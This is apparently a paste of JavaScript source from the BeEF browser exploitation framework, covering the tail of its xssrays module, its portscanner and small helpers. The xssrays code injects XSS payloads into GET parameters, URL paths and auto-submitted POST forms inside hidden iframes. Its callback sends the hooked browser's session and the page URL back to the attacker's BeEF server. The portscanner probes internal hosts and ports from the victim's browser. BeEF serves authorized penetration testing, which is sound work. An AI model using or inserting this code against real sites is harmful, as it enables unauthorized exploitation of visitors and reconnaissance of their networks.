- beef.net.xssrays.printDebug("Remove last / from url. New url [" + url + "]");
- }
- beef.net.xssrays.uniqueID++;
- beef.net.xssrays.printDebug('Processing vector [' + vector.name + "], URL [" + url + "]");
- var poc = '';
- var pocurl = url;
- var exploit = '';
- var action = url;
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
- var ray = this.rays[beef.net.xssrays.uniqueID];
- var paramsPos = 0;
- if (params != null) {
- /*
- * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
- */
- for (var i in params) {
- if (params.hasOwnProperty(i)) {
- if (!/[?]/.test(url)) {
- url += '?';
- pocurl += '?';
- }
- poc = vector.input.replace(/XSS/g, "alert(1)");
- pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
- beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
- + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
- exploit = vector.input.replace(/XSS/g, beefCallback);
- if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
- url += i + '=' + exploit + '&';
- }else{
- url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
- }
- paramsPos++;
- }
- }
- } else {
- /*
- * ++++++++++ check for XSS in URI path (GET) ++++++++++
- */
- var filename = beef.net.xssrays.fileName(url);
- poc = vector.input.replace(/XSS/g, "alert(1)");
- pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
- beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
- + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
- exploit = vector.input.replace(/XSS/g, beefCallback);
- //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
- //TODO: this need to checked and the slash shouldn't be added in this particular case
- url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
- }
- /*
- * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
- */
- if(beef.browser.isIE()){
- try {
- var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
- } catch (e) {
- var iframe = document.createElement('iframe');
- iframe.name = 'ray' + Math.random().toString();
- }
- }else{
- var iframe = document.createElement('iframe');
- iframe.name = 'ray' + Math.random().toString();
- }
- iframe.style.display = 'none';
- iframe.id = 'ray' + beef.net.xssrays.uniqueID;
- iframe.time = beef.net.xssrays.timestamp();
- if (method === 'GET') {
- if(beef.browser.isC() || beef.browser.isS()){
- var datauri = btoa(url);
- iframe.src = "data:text/html;base64," + datauri;
- }else{
- iframe.src = url;
- }
- document.body.appendChild(iframe);
- beef.net.xssrays.printDebug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
- } else if (method === 'POST') {
- /*
- * ++++++++++ check for XSS in body parameters (POST) ++++++++++
- */
- var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
- poc = '';
- pocurl = action + "?";
- paramsPos = 0;
- beef.net.xssrays.printDebug("Form action [" + action + "]");
- for (var i in params) {
- if (params.hasOwnProperty(i)) {
- poc = vector.input.replace(/XSS/g, "alert(1)");
- poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
- pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
- beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
- + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
- exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
- form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
- beef.net.xssrays.printDebug("form param[" + i + "] = " + params[i].toString());
- paramsPos++;
- }
- }
- form += '<\/form>';
- document.body.appendChild(iframe);
- beef.net.xssrays.printDebug("Creating form [" + form + "]");
- iframe.contentWindow.document.writeln(form);
- iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
- beef.net.xssrays.printDebug("Submitting form");
- }
- });
- },
- // run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
- runJobs: function() {
- var that = this;
- this.totalConnections = this.stack.length;
- that.getNextJob();
- setInterval(function() {
- var numOfConnections = 0;
- for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
- var iframe = document.getElementsByTagName('iframe')[i];
- numOfConnections++;
- //beef.net.xssrays.printDebug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
- if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
- try{
- if (iframe) {
- beef.net.xssrays.complete();
- beef.net.xssrays.printDebug("RunJobs cleaning up iFrame [" + iframe.id + "]");
- document.body.removeChild(iframe);
- }
- }catch(e){beef.net.xssrays.printDebug("Exception [" + e.toString() + "] when cleaning iframes.")}
- }
- }
- if (numOfConnections == 0) {
- clearTimeout(this);
- }
- }, this.cleanUpTimeout);
- return this;
- },
- timestamp: function() {
- return parseInt(new Date().getTime().toString().substring(0, 10));
- },
- escape: function(str) {
- str = str.toString();
- str = str.replace(/</g, '<');
- str = str.replace(/>/g, '>');
- str = str.replace(/\u0022/g, '"');
- str = str.replace(/\u0027/g, ''');
- str = str.replace(/\\/g, '\');
- return str;
- }
- };
- beef.regCmp('beef.net.xssrays');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net.portscanner
- *
- * Provides port scanning functions for the zombie. A mod of pdp's scanner
- *
- * Version: '0.1',
- * author: 'Petko Petkov',
- * homepage: 'http://www.gnucitizen.org'
- */
- beef.net.portscanner = {
- scanPort: function(callback, target, port, timeout)
- {
- var timeout = (timeout == null)?100:timeout;
- var img = new Image();
- img.onerror = function () {
- if (!img) return;
- img = undefined;
- callback(target, port, 'open');
- };
- img.onload = img.onerror;
- img.src = 'http://' + target + ':' + port;
- setTimeout(function () {
- if (!img) return;
- img = undefined;
- callback(target, port, 'closed');
- }, timeout);
- },
- scanTarget: function(callback, target, ports_str, timeout)
- {
- var ports = ports_str.split(",");
- for (index = 0; index < ports.length; index++) {
- this.scanPort(callback, target, ports[index], timeout);
- };
- }
- };
- beef.regCmp('beef.net.portscanner');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- beef.are = {
- status_success: function(){
- return 1;
- },
- status_unknown: function(){
- return 0;
- },
- status_error: function(){
- return -1;
- }
- };
- beef.regCmp("beef.are");
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*
- Sometimes there are timing issues and looks like beef_init
- is not called at all (always in cross-origin situations,
- for example calling the hook with jquery getScript,
- or sometimes with event handler injections).
- To fix this, we call again beef_init after 1 second.
- Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
- antisnatchor
- */
- //setTimeout(beef_init, 1000);
Add Comment
Please, Sign In to add comment